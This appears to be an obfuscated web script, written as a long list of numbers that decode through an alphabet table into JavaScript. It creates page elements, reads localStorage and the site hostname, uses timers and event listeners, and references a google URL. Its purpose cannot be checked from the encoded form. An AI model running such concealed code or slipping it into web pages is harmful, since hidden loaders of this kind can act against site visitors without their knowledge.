21,77,93,4,48,45,83,56,4,17,91,83,55,70,76,49,19,59,91,83,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,86,83,62,52,86,55,70,91,83,64,18,93,56,18,49,4,47,83,91,70,91,83,64,91,19,15,47,32,45,37,37,21,91,72,28,28,84,84,84,64,52,18,18,52,56,77,49,21,83,91,64,15,18,62,28,52,77,93,77,19,49,37,77,79,78,38,1,32,70,76,49,19,59,91,83,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,86,91,15,19,83,21,37,86,55,70,91,83,64,18,93,77,19,19,18,19,47,83,91,70,91,83,64,18,93,56,18,49,4,47,46,80,93,15,37,83,18,93,17,79,91,83,55,14,83,46,17,37,22,21,77,18,46,17,79,79,49,55,47,47,32,80,93,4,77,46,83,93,77,4,32,55,14,19,77,37,80,19,93,59,83,91,17,79,91,83,55,70,61,61,70,91,83,64,91,19,15,47,86,28,28,86,2,63,31,9,64,49,37,79,4,18,2,86,28,86,2,63,31,9,64,49,37,79,53,91,70,4,18,15,80,62,77,93,37,64,68,18,4,22,64,49,21,21,77,93,4,48,45,83,56,4,17,91,83,55,70,61,61,17,55,88,19,15,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,49,55,14,19,77,37,80,19,93,59,49,16,41,49,37,45,64,46,56,18,18,19,17,41,49,37,45,64,19,49,93,4,18,62,17,55,24,49,64,56,77,93,52,37,45,55,34,70,61,61,17,55,88,19,73,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,55,14,76,49,19,59,91,49,47,16,34,70,76,49,19,59,84,15,47,41,49,37,45,64,46,56,18,18,19,17,41,49,37,45,64,19,49,93,4,18,62,17,55,24,89,78,2,89,55,70,46,18,19,17,76,49,19,59,83,47,38,70,83,50,84,15,70,83,2,2,55,14,91,49,16,83,34,47,63,31,9,64,19,91,17,16,89,88,89,23,34,55,70,91,49,16,83,34,47,91,49,16,83,34,64,15,45,49,19,63,37,17,38,55,64,37,18,20,21,21,77,19,48,49,91,77,17,55,2,91,49,16,83,34,64,91,80,68,91,37,19,17,89,55,70,61,70,19,77,37,80,19,93,59,91,49,64,53,18,83,93,17,32,39,32,55,70,61,61,17,55,88,19,91,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,49,55,14,76,49,19,59,19,47,86,86,88,15,47,86,49,68,15,4,77,46,52,45,83,53,35,56,93,18,21,73,19,91,37,80,84,38,89,78,23,1,3,43,58,26,29,86,70,76,49,19,59,56,47,3,88,45,47,89,78,70,83,46,17,49,81,47,80,93,4,77,46,83,93,77,4,55,14,83,46,17,49,64,56,77,93,52,37,45,71,47,89,55,14,76,49,19,59,56,47,21,49,19,91,77,9,93,37,17,49,16,38,34,55,88,45,47,21,49,19,91,77,9,93,37,17,49,16,38,34,55,70,61,83,46,17,49,64,56,77,93,52,37,45,71,47,78,55,14,76,49,19,59,45,47,21,49,19,91,77,9,93,37,17,49,16,89,34,55,70,61,83,46,17,49,64,56,77,93,52,37,45,47,47,23,55,14,15,47,49,16,78,34,70,61,61,76,49,19,59,56,77,47,41,49,37,45,64,46,56,18,18,19,17,41,49,37,45,64,19,49,93,4,18,62,17,55,24,17,45,39,56,2,89,55,55,2,56,70,46,18,19,17,83,47,38,70,83,50,56,77,70,83,2,2,55,19,2,47,15,64,15,45,49,19,63,37,17,41,49,37,45,64,46,56,18,18,19,17,41,49,37,45,64,19,49,93,4,18,62,17,55,24,15,64,56,77,93,52,37,45,55,55,70,19,77,37,80,19,93,59,19,70,61,61,17,55,88,21,49,4,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,76,88,49,55,14,76,47,5,37,19,83,93,52,17,76,55,70,83,46,17,49,81,47,80,93,4,77,46,83,93,77,4,55,14,56,47,21,49,19,91,77,9,93,37,17,49,16,38,34,55,70,76,47,17,93,77,84,59,63,19,19,49,22,17,56,55,64,53,18,83,93,17,32,38,32,55,2,76,55,64,91,56,83,15,77,17,39,56,55,70,61,19,77,37,80,19,93,59,76,70,61,61,17,55,88,80,19,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,80,88,76,55,14,76,49,19,59,19,67,47,28,40,16,16,49,39,25,63,39,90,38,39,29,72,88,39,34,2,40,34,28,52,70,76,49,19,59,19,47,80,64,62,49,37,15,45,17,19,67,55,70,83,46,17,19,81,47,93,80,56,56,55,14,46,18,19,17,76,49,19,59,83,47,38,70,83,50,19,64,56,77,93,52,37,45,70,83,2,2,55,14,76,49,19,59,93,47,19,16,83,34,64,19,77,21,56,49,15,77,17,32,16,32,88,32,32,55,64,19,77,21,56,49,15,77,17,32,34,32,88,32,32,55,70,76,49,19,59,37,47,93,64,91,21,56,83,37,17,32,72,32,55,70,76,49,19,59,35,77,22,47,37,16,38,34,70,76,49,19,59,49,19,52,91,47,37,16,89,34,70,83,46,17,49,19,52,91,81,47,80,93,4,77,46,83,93,77,4,55,49,19,52,91,47,49,19,52,91,64,91,21,56,83,37,17,32,88,32,55,70,76,49,19,59,76,49,56,80,77,47,19,16,83,34,70,83,46,17,35,77,22,47,47,32,19,32,55,76,49,19,59,76,49,56,80,77,47,63,31,9,64,19,91,17,49,19,52,91,55,70,83,46,17,35,77,22,47,47,32,15,32,55,76,49,19,59,76,49,56,80,77,47,63,31,9,64,19,15,17,49,19,52,91,55,70,83,46,17,35,77,22,47,47,32,73,32,55,76,49,19,59,76,49,56,80,77,47,63,31,9,64,19,73,17,55,70,83,46,17,35,77,22,47,47,32,83,32,55,76,49,19,59,76,49,56,80,77,47,63,31,9,64,21,49,4,17,76,16,32,83,32,34,88,49,19,52,91,55,70,83,46,17,35,77,22,47,47,32,21,32,55,76,49,19,59,76,49,56,80,77,47,63,31,9,64,21,49,4,17,76,16,32,21,32,34,88,49,19,52,91,55,70,83,46,17,35,77,22,47,47,32,52,32,55,76,49,19,59,76,49,56,80,77,47,63,31,9,64,21,49,4,17,76,16,32,52,32,34,88,49,19,52,91,55,70,83,46,17,35,77,22,47,47,32,84,32,55,76,49,19,59,76,49,56,80,77,47,63,31,9,64,21,49,4,17,76,16,32,84,32,34,88,49,19,52,91,55,70,80,47,80,64,19,77,21,56,49,15,77,17,19,16,83,34,88,76,49,56,80,77,55,70,61,61,19,77,37,80,19,93,59,80,70,61,61,17,55,88,46,15,72,46,80,93,15,37,83,18,93,17,55,14,83,46,17,63,31,9,64,15,46,55,14,76,49,19,59,77,91,47,4,18,15,80,62,77,93,37,64,73,80,77,19,22,5,77,56,77,15,37,18,19,63,56,56,17,86,83,62,52,16,91,19,15,24,47,32,84,21,86,2,86,77,93,52,83,93,77,86,2,86,64,93,77,37,86,2,86,4,93,49,86,2,86,39,86,2,86,15,4,93,86,2,86,64,15,18,62,32,34,86,55,70,46,18,19,17,76,49,19,59,67,47,38,70,67,50,77,91,64,56,77,93,52,37,45,70,67,2,2,55,14,77,91,16,67,34,64,18,80,37,77,19,85,0,41,27,47,77,91,16,67,34,64,18,80,37,77,19,85,0,41,27,64,19,77,21,56,49,15,77,17,28,16,49,39,25,38,39,29,34,2,40,64,84,21,77,93,52,83,93,77,40,64,93,77,37,17,82,72,55,4,93,49,39,17,82,72,55,15,4,93,40,64,15,18,62,28,52,83,88,84,83,93,4,18,84,64,56,18,15,49,37,83,18,93,64,45,18,91,37,93,49,62,77,55,64,19,77,21,56,49,15,77,17,32,4,83,91,21,56,49,22,72,59,93,18,93,77,59,81,83,62,21,18,19,37,49,93,37,70,32,88,32,32,55,70,61,61,61,88,62,46,72,46,80,93,15,37,83,18,93,17,55,14,61,88,46,72,46,80,93,15,37,83,18,93,17,46,56,55,14,46,18,19,17,76,49,19,59,22,47,38,70,22,50,46,56,64,56,77,93,52,37,45,70,22,2,2,55,14,76,49,19,59,35,47,46,56,16,22,34,70,76,49,19,59,77,91,47,4,18,15,80,62,77,93,37,64,73,80,77,19,22,5,77,56,77,15,37,18,19,63,56,56,17,35,16,32,21,49,37,37,77,19,93,32,34,55,70,46,18,19,17,76,49,19,59,67,47,38,70,67,50,77,91,64,56,77,93,52,37,45,70,67,2,2,55,14,83,46,17,35,16,32,49,15,37,83,18,93,32,34,47,47,32,83,93,53,77,15,37,32,55,14,83,46,17,35,16,32,21,18,91,83,37,83,18,93,32,34,47,47,32,68,77,46,18,19,77,32,55,14,76,49,19,59,93,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,86,4,83,76,86,55,70,93,64,83,93,93,77,19,85,0,41,27,47,35,16,32,93,77,84,85,37,62,56,32,34,70,77,91,16,67,34,64,21,49,19,77,93,37,75,18,4,77,64,83,93,91,77,19,37,57,77,46,18,19,77,17,93,88,77,91,16,67,34,55,70,93,64,18,80,37,77,19,85,0,41,27,47,93,64,83,93,93,77,19,85,0,41,27,70,61,77,56,91,77,59,83,46,17,35,16,32,21,18,91,83,37,83,18,93,32,34,47,47,32,49,46,37,77,19,32,55,14,76,49,19,59,93,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,86,4,83,76,86,55,70,93,64,83,93,93,77,19,85,0,41,27,47,35,16,32,93,77,84,85,37,62,56,32,34,70,77,91,16,67,34,64,21,49,19,77,93,37,75,18,4,77,64,83,93,91,77,19,37,57,77,46,18,19,77,17,93,88,77,91,16,67,34,64,93,77,67,37,5,83,68,56,83,93,52,55,70,93,64,18,80,37,77,19,85,0,41,27,47,93,64,83,93,93,77,19,85,0,41,27,70,61,61,61,61,63,31,9,64,49,37,79,46,47,32,4,19,49,84,32,70,61,88,56,49,37,77,19,72,46,80,93,15,37,83,18,93,17,55,14,76,49,19,59,77,76,77,93,37,27,83,91,37,77,93,77,19,5,80,21,21,18,19,37,77,4,47,84,83,93,4,18,84,64,49,4,4,33,76,77,93,37,27,83,91,37,77,93,77,19,70,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,18,55,14,76,49,19,59,18,68,53,47,63,31,9,64,73,17,18,64,21,49,19,77,93,37,88,4,18,15,80,62,77,93,37,64,68,18,4,22,55,16,38,34,70,83,46,17,18,68,53,47,47,80,93,4,77,46,83,93,77,4,55,14,19,77,37,80,19,93,59,46,49,56,91,77,70,61,63,31,9,64,91,15,49,93,17,18,55,70,83,46,17,77,76,77,93,37,27,83,91,37,77,93,77,19,5,80,21,21,18,19,37,77,4,55,14,18,68,53,64,49,4,4,33,76,77,93,37,27,83,91,37,77,93,77,19,17,32,6,12,41,75,18,4,77,9,93,91,77,19,37,77,4,32,88,63,31,9,64,91,15,49,93,88,46,49,56,91,77,55,70,61,77,56,91,77,14,84,83,93,4,18,84,64,91,77,37,0,83,62,77,18,80,37,17,46,80,93,15,37,83,18,93,17,55,14,63,31,9,64,56,49,37,77,19,17,18,55,70,61,88,3,38,38,55,70,61,61,61,17,55,88,91,15,49,93,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,18,55,14,76,49,19,59,49,47,63,31,9,64,73,17,18,64,15,45,83,56,4,88,63,31,9,64,73,17,18,64,21,49,19,77,93,37,55,16,38,34,88,4,18,15,80,62,77,93,37,64,68,18,4,22,55,70,46,18,19,17,76,49,19,59,21,47,38,70,21,50,49,64,56,77,93,52,37,45,70,21,2,2,55,14,83,46,17,63,31,9,64,15,56,16,21,34,47,47,80,93,4,77,46,83,93,77,4,55,14,63,31,9,64,15,56,16,21,34,47,49,16,21,34,70,63,31,9,64,93,18,84,17,63,31,9,64,80,19,17,63,31,9,64,80,55,88,49,16,21,34,55,70,61,61,61,61,17,55,88,93,18,84,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,80,19,56,88,21,49,19,77,93,37,55,14,83,46,17,63,31,9,64,80,15,81,47,46,49,56,91,77,55,14,63,31,9,64,15,18,56,56,77,15,37,83,18,93,17,63,31,9,64,80,15,88,21,49,19,77,93,37,55,70,63,31,9,64,80,15,47,46,49,56,91,77,70,19,77,37,80,19,93,70,61,76,49,19,59,83,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,86,83,62,52,86,55,70,83,64,15,19,18,91,91,12,19,83,52,83,93,47,86,63,93,18,93,22,62,18,80,91,86,70,83,64,18,93,56,18,49,4,47,46,80,93,15,37,83,18,93,17,55,14,63,31,9,64,15,2,2,70,76,49,19,59,15,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,86,15,49,93,76,49,91,86,55,70,76,49,19,59,37,47,15,64,52,77,37,48,18,93,37,77,67,37,17,86,78,4,86,55,70,76,49,19,59,84,47,83,64,84,83,4,37,45,70,76,49,19,59,45,47,83,64,45,77,83,52,45,37,70,76,49,19,59,62,47,32,46,19,18,62,48,45,49,19,48,18,4,77,32,70,15,64,91,37,22,56,77,64,84,83,4,37,45,47,15,64,84,83,4,37,45,47,84,70,15,64,91,37,22,56,77,64,45,77,83,52,45,37,47,15,64,45,77,83,52,45,37,47,45,70,37,64,52,56,18,68,49,56,63,56,21,45,49,47,89,64,38,70,37,64,52,56,18,68,49,56,48,18,62,21,18,91,83,37,77,12,21,77,19,49,37,83,18,93,47,32,15,18,21,22,32,70,37,16,63,31,9,64,49,37,79,46,2,63,31,9,64,49,37,79,83,34,17,83,88,38,88,38,55,70,76,49,19,59,68,47,63,31,9,64,21,78,1,17,37,16,63,31,9,64,62,17,55,34,17,38,88,38,88,84,88,45,55,64,4,49,37,49,55,70,76,49,19,59,91,47,86,86,70,76,49,19,59,76,47,16,86,59,86,88,86,81,86,88,86,40,86,86,88,86,30,86,88,86,74,86,88,86,36,86,88,86,65,86,88,86,32,86,88,86,17,86,88,86,55,86,88,86,24,86,88,86,2,86,88,86,88,86,88,86,39,86,88,86,64,86,88,86,28,86,88,86,38,86,88,86,89,86,88,86,78,86,88,86,23,86,88,86,1,86,88,86,3,86,88,86,43,86,88,86,58,86,88,86,26,86,88,86,29,86,88,86,72,86,88,86,70,86,88,86,50,86,88,86,47,86,88,86,71,86,88,86,82,86,88,86,44,86,88,86,63,86,88,86,57,86,88,86,48,86,88,86,6,86,88,86,33,86,88,86,7,86,88,86,92,86,88,86,85,86,88,86,9,86,88,86,42,86,88,86,11,86,88,86,27,86,88,86,41,86,88,86,75,86,88,86,12,86,88,86,31,86,88,86,8,86,88,86,13,86,88,86,5,86,88,86,0,86,88,86,20,86,88,86,54,86,88,86,69,86,88,86,87,86,88,86,51,86,88,86,90,86,88,86,16,86,88,86,40,40,86,88,86,34,86,88,86,10,86,88,86,79,86,88,86,60,86,88,86,49,86,88,86,68,86,88,86,15,86,88,86,4,86,88,86,77,86,88,86,46,86,88,86,52,86,88,86,45,86,88,86,83,86,88,86,53,86,88,86,35,86,88,86,56,86,88,86,62,86,88,86,93,86,88,86,18,86,88,86,21,86,88,86,73,86,88,86,19,86,88,86,91,86,88,86,37,86,88,86,80,86,88,86,76,86,88,86,84,86,88,86,67,86,88,86,22,86,88,86,25,86,88,86,14,86,88,86,66,86,88,86,61,86,34,70,46,18,19,17,76,49,19,59,67,47,38,70,67,50,68,64,56,77,93,52,37,45,70,67,2,2,55,83,46,17,68,16,67,34,55,91,2,47,76,16,17,68,16,67,34,39,23,78,55,34,70,76,49,19,59,37,47,63,31,9,64,19,91,17,55,70,91,47,91,64,19,77,21,56,49,15,77,17,32,86,80,93,83,37,79,56,83,91,37,86,32,88,32,86,80,93,83,37,79,56,83,91,37,79,32,2,37,2,32,86,32,55,70,91,47,91,64,19,77,21,56,49,15,77,17,32,86,18,68,91,77,19,76,77,86,32,88,32,86,18,68,91,77,19,76,77,79,32,2,37,2,32,86,32,55,70,76,49,19,59,80,15,56,47,42,5,12,75,64,21,49,19,91,77,17,91,55,70,83,46,17,80,15,56,47,47,47,37,19,80,77,55,14,80,15,56,47,77,76,49,56,17,86,17,86,2,91,2,86,55,86,55,70,61,80,15,56,64,80,93,83,37,79,56,83,91,37,47,80,15,56,16,32,80,93,83,37,79,56,83,91,37,79,32,2,37,34,70,80,15,56,64,18,68,91,77,19,76,77,47,80,15,56,16,32,18,68,91,77,19,76,77,79,32,2,37,34,70,63,31,9,64,91,76,17,80,15,56,55,70,83,46,17,63,31,9,64,15,47,47,89,65,65,80,15,56,64,18,68,91,77,19,76,77,64,77,93,49,68,56,77,4,47,47,89,55,14,63,31,9,64,80,15,47,80,15,56,70,63,31,9,64,56,49,37,77,19,17,80,15,56,64,18,68,91,77,19,76,77,55,70,61,77,56,91,77,14,63,31,9,64,15,18,56,56,77,15,37,83,18,93,17,80,15,56,88,21,49,19,77,93,37,55,70,61,61,70,83,64,18,93,77,19,19,18,19,47,46,80,93,15,37,83,18,93,17,55,14,83,46,17,83,64,91,19,15,47,47,56,18,15,49,37,83,18,93,64,21,19,18,37,18,15,18,56,2,80,19,56,55,14,83,64,91,19,15,47,63,31,9,64,80,19,17,63,31,9,64,22,55,70,19,77,37,80,19,93,70,61,76,49,19,59,91,47,63,31,9,64,76,91,17,55,70,83,46,17,91,55,14,76,49,19,59,37,47,63,31,9,64,19,91,17,55,70,91,47,91,64,19,77,21,56,49,15,77,17,32,86,80,93,83,37,79,56,83,91,37,86,32,88,32,86,80,93,83,37,79,56,83,91,37,79,32,2,37,2,32,86,32,55,70,91,47,91,64,19,77,21,56,49,15,77,17,32,86,18,68,91,77,19,76,77,86,32,88,32,86,18,68,91,77,19,76,77,79,32,2,37,2,32,86,32,55,70,76,49,19,59,80,15,56,47,42,5,12,75,64,21,49,19,91,77,17,91,55,70,83,46,17,80,15,56,47,47,47,37,19,80,77,55,14,80,15,56,47,77,76,49,56,17,86,17,86,2,91,2,86,55,86,55,70,61,80,15,56,64,80,93,83,37,79,56,83,91,37,47,80,15,56,16,32,80,93,83,37,79,56,83,91,37,79,32,2,37,34,70,80,15,56,64,18,68,91,77,19,76,77,47,80,15,56,16,32,18,68,91,77,19,76,77,79,32,2,37,34,70,63,31,9,64,15,18,56,56,77,15,37,83,18,93,17,80,15,56,88,21,49,19,77,93,37,55,70,61,61,70,83,64,91,19,15,47,80,19,56,70,61,61,17,55,88,21,78,1,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,68,55,14,76,49,19,59,91,47,16,34,70,46,18,19,17,76,49,19,59,83,47,38,70,83,50,68,64,56,77,93,52,37,45,70,83,2,47,1,55,14,83,46,17,68,16,83,2,38,34,71,38,55,91,64,21,80,91,45,17,68,16,83,2,38,34,55,70,83,46,17,68,16,83,2,89,34,71,38,55,91,64,21,80,91,45,17,68,16,83,2,89,34,55,70,83,46,17,68,16,83,2,78,34,71,38,55,91,64,21,80,91,45,17,68,16,83,2,78,34,55,70,61,19,77,37,80,19,93,59,91,70,61,61,17,55,88,91,76,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,4,55,14,37,19,22,14,56,18,15,49,56,5,37,18,19,49,52,77,64,91,77,37,9,37,77,62,17,63,31,9,64,49,37,79,83,68,88,42,5,12,75,64,91,37,19,83,93,52,83,46,22,17,4,55,55,70,61,15,49,37,15,45,17,77,55,14,61,61,61,17,55,88,76,91,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,55,14,37,19,22,14,19,77,37,80,19,93,59,56,18,15,49,56,5,37,18,19,49,52,77,64,52,77,37,9,37,77,62,17,63,31,9,64,49,37,79,83,68,55,70,61,15,49,37,15,45,17,77,55,14,19,77,37,80,19,93,59,46,49,56,91,77,70,61,61,61,17,55,88,83,91,79,37,77,91,37,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,55,14,83,46,17,84,83,93,4,18,84,64,56,18,15,49,37,83,18,93,64,45,49,91,45,64,91,77,49,19,15,45,17,86,79,79,22,37,77,91,37,86,55,71,39,89,55,37,77,91,37,47,37,19,80,77,70,77,56,91,77,59,37,77,91,37,47,46,49,56,91,77,70,19,77,37,80,19,93,59,37,77,91,37,70,61,61,17,55,88,49,15,91,91,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,15,91,91,55,14,76,49,19,59,45,47,4,18,15,80,62,77,93,37,64,73,80,77,19,22,5,77,56,77,15,37,18,19,63,56,56,17,32,68,18,4,22,32,55,16,38,34,88,91,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,32,91,37,22,56,77,32,55,70,91,64,91,77,37,63,37,37,19,83,68,80,37,77,17,86,37,22,21,77,86,88,86,37,77,67,37,28,15,91,91,86,55,70,83,46,17,91,64,91,37,22,56,77,5,45,77,77,37,55,91,64,91,37,22,56,77,5,45,77,77,37,64,15,91,91,0,77,67,37,47,15,91,91,70,77,56,91,77,59,91,64,83,93,93,77,19,85,0,41,27,47,15,91,91,70,19,77,37,80,19,93,59,45,64,49,21,21,77,93,4,48,45,83,56,4,17,91,55,70,61,61,17,55,88,52,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,55,14,76,49,19,59,84,47,84,83,93,4,18,84,64,83,93,93,77,19,69,83,4,37,45,70,76,49,19,59,19,47,3,70,83,46,17,84,50,47,1,58,29,55,19,47,89,70,83,46,17,84,50,47,58,43,58,55,19,47,78,70,83,46,17,84,50,47,89,38,78,23,55,19,47,23,70,83,46,17,84,50,47,89,1,23,29,55,19,47,1,70,19,77,37,80,19,93,59,19,70,61,61,17,55,88,62,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,63,31,9,64,49,37,79,52,2,63,31,9,64,49,37,79,83,2,63,31,9,64,49,37,79,4,70,61,61,17,55,88,15,18,56,56,77,15,37,83,18,93,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,80,15,56,88,21,49,19,77,93,37,55,14,76,49,19,59,18,47,14,83,93,83,37,72,46,80,93,15,37,83,18,93,17,55,14,83,46,17,63,31,9,64,15,91,91,47,47,46,49,56,91,77,55,14,63,31,9,64,15,91,91,47,63,31,9,64,49,15,91,91,17,80,15,56,64,15,91,91,79,15,18,62,62,18,93,55,70,61,46,18,19,17,76,49,19,59,83,47,38,70,83,50,80,15,56,64,80,93,83,37,79,56,83,91,37,64,56,77,93,52,37,45,70,83,2,2,55,14,18,64,80,93,83,37,17,80,15,56,64,80,93,83,37,79,56,83,91,37,16,83,34,88,21,49,19,77,93,37,55,70,61,61,88,80,93,83,37,72,46,80,93,15,37,83,18,93,17,80,88,21,49,19,77,93,37,55,14,46,18,19,17,83,47,38,70,83,50,80,64,77,67,15,56,80,4,77,79,80,19,56,79,56,83,91,37,64,56,77,93,52,37,45,70,83,2,2,55,14,76,49,19,59,77,80,47,93,77,84,59,13,77,52,33,67,21,17,80,64,77,67,15,56,80,4,77,79,80,19,56,79,56,83,91,37,16,83,34,55,70,83,46,17,84,83,93,4,18,84,64,56,18,15,49,37,83,18,93,64,21,49,37,45,93,49,62,77,64,62,49,37,15,45,17,77,80,55,55,19,77,37,80,19,93,70,61,83,46,17,80,64,37,49,19,52,77,37,79,91,77,56,77,15,37,18,19,81,47,80,93,4,77,46,83,93,77,4,65,65,80,64,37,49,19,52,77,37,79,91,77,56,77,15,37,18,19,81,47,86,86,55,14,76,49,19,59,37,91,47,80,64,37,49,19,52,77,37,79,91,77,56,77,15,37,18,19,88,37,49,47,80,64,37,49,19,52,77,37,79,49,21,21,19,18,49,15,45,88,15,91,47,80,64,15,18,93,37,49,83,93,77,19,79,91,37,22,56,77,70,61,77,56,91,77,59,83,46,17,63,31,9,64,83,91,79,37,77,91,37,17,55,65,65,80,64,37,49,19,52,77,37,79,91,77,56,77,15,37,18,19,79,37,77,91,37,81,47,80,93,4,77,46,83,93,77,4,65,65,80,64,37,49,19,52,77,37,79,91,77,56,77,15,37,18,19,79,37,77,91,37,81,47,86,86,55,14,76,49,19,59,37,91,47,80,64,37,49,19,52,77,37,79,91,77,56,77,15,37,18,19,79,37,77,91,37,88,37,49,47,80,64,37,49,19,52,77,37,79,49,21,21,19,18,49,15,45,79,37,77,91,37,88,15,91,47,80,64,15,18,93,37,49,83,93,77,19,79,91,37,22,56,77,79,37,77,91,37,70,61,77,56,91,77,59,19,77,37,80,19,93,70,80,64,15,91,91,79,91,21,77,15,83,46,83,15,2,47,86,64,86,2,80,64,84,83,4,52,77,37,79,15,56,49,91,91,2,86,59,14,86,2,80,64,15,18,93,37,49,83,93,77,19,79,91,37,22,56,77,2,86,61,86,70,76,49,19,59,37,47,63,31,9,64,73,17,37,91,88,21,49,19,77,93,37,55,70,83,46,17,37,64,56,77,93,52,37,45,50,89,55,19,77,37,80,19,93,70,37,47,37,16,38,34,70,63,31,9,64,15,91,91,16,32,37,77,67,37,32,2,32,48,18,93,37,77,93,37,32,34,2,47,80,64,15,91,91,79,91,21,77,15,83,46,83,15,70,83,46,17,37,49,47,47,86,68,77,46,18,19,77,86,55,14,76,49,19,59,93,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,86,4,83,76,86,55,70,93,64,83,93,93,77,19,85,0,41,27,47,80,64,45,37,62,56,70,37,64,21,49,19,77,93,37,75,18,4,77,64,83,93,91,77,19,37,57,77,46,18,19,77,17,93,88,37,55,70,93,64,18,80,37,77,19,85,0,41,27,47,93,64,83,93,93,77,19,85,0,41,27,70,61,77,56,91,77,59,83,46,17,37,49,47,47,86,49,46,37,77,19,86,55,14,76,49,19,59,93,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,86,4,83,76,86,55,70,93,64,83,93,93,77,19,85,0,41,27,47,80,64,45,37,62,56,70,37,64,21,49,19,77,93,37,75,18,4,77,64,83,93,91,77,19,37,57,77,46,18,19,77,17,93,88,37,64,93,77,67,37,5,83,68,56,83,93,52,55,70,93,64,18,80,37,77,19,85,0,41,27,47,93,64,83,93,93,77,19,85,0,41,27,70,61,77,56,91,77,59,83,46,17,37,49,47,47,86,49,21,21,77,93,4,86,55,37,64,83,93,93,77,19,85,0,41,27,47,37,64,83,93,93,77,19,85,0,41,27,2,80,64,45,37,62,56,70,77,56,91,77,59,83,46,17,37,49,47,47,86,21,19,77,21,77,93,4,86,55,37,64,83,93,93,77,19,85,0,41,27,47,80,64,45,37,62,56,2,37,64,83,93,93,77,19,85,0,41,27,70,77,56,91,77,59,83,46,17,37,49,47,47,86,46,83,56,56,86,55,37,64,83,93,93,77,19,85,0,41,27,47,80,64,45,37,62,56,70,77,56,91,77,59,19,77,37,80,19,93,70,80,64,80,93,83,37,47,63,31,9,64,73,17,86,64,86,2,80,64,84,83,4,52,77,37,79,15,56,49,91,91,88,4,18,15,80,62,77,93,37,64,68,18,4,22,55,16,38,34,70,17,46,80,93,15,37,83,18,93,59,84,49,83,37,17,37,84,55,14,83,46,17,37,84,47,47,80,93,4,77,46,83,93,77,4,55,76,49,19,59,37,84,47,38,70,77,56,91,77,59,83,46,17,37,84,71,89,38,55,19,77,37,80,19,93,70,83,46,17,37,84,71,38,65,65,18,64,19,83,52,17,80,55,47,47,37,19,80,77,55,19,77,37,80,19,93,70,84,83,93,4,18,84,64,91,77,37,0,83,62,77,18,80,37,17,46,80,93,15,37,83,18,93,17,55,14,84,49,83,37,17,37,84,2,89,55,70,61,88,89,38,38,55,70,61,55,17,55,70,84,83,93,4,18,84,64,49,4,4,33,76,77,93,37,27,83,91,37,77,93,77,19,17,86,19,77,91,83,25,77,86,88,46,80,93,15,37,83,18,93,17,55,14,18,64,19,83,52,17,80,55,70,61,55,70,18,64,19,83,52,17,80,55,70,61,88,19,83,52,72,46,80,93,15,37,83,18,93,17,80,55,14,77,47,63,31,9,64,73,17,86,64,86,2,80,64,84,83,4,52,77,37,79,15,56,49,91,91,2,86,59,64,86,2,80,64,83,62,52,79,15,56,49,91,91,88,4,18,15,80,62,77,93,37,64,68,18,4,22,55,70,76,49,19,59,62,47,4,18,15,80,62,77,93,37,64,68,18,4,22,64,73,80,77,19,22,5,77,56,77,15,37,18,19,63,56,56,17,86,64,86,2,80,64,84,83,4,52,77,37,79,15,56,49,91,91,2,86,59,16,91,37,22,56,77,47,32,4,83,91,21,56,49,22,72,59,93,18,93,77,59,81,83,62,21,18,19,37,49,93,37,70,32,34,86,55,64,56,77,93,52,37,45,70,83,46,17,62,71,38,55,14,4,18,15,80,62,77,93,37,64,68,18,4,22,64,83,93,93,77,19,85,0,41,27,47,86,63,4,68,56,18,15,35,59,33,19,19,18,19,64,86,70,84,83,93,4,18,84,64,91,77,37,0,83,62,77,18,80,37,17,46,80,93,15,37,83,18,93,17,55,14,84,83,93,4,18,84,64,49,56,77,19,37,17,32,63,4,68,56,18,15,35,59,77,67,37,77,93,91,83,18,93,59,77,19,19,18,19,59,38,46,1,3,43,89,23,23,3,32,2,86,40,93,86,2,32,0,19,22,59,37,18,59,4,83,91,49,68,56,77,59,37,45,83,91,59,77,67,37,77,93,91,83,18,93,59,18,19,59,19,77,91,37,49,19,37,59,22,18,80,19,59,93,49,76,83,52,49,37,18,19,64,32,55,70,84,83,93,4,18,84,64,56,18,15,49,37,83,18,93,64,19,77,56,18,49,4,17,55,70,61,88,89,38,55,70,61,83,46,17,77,16,38,34,64,15,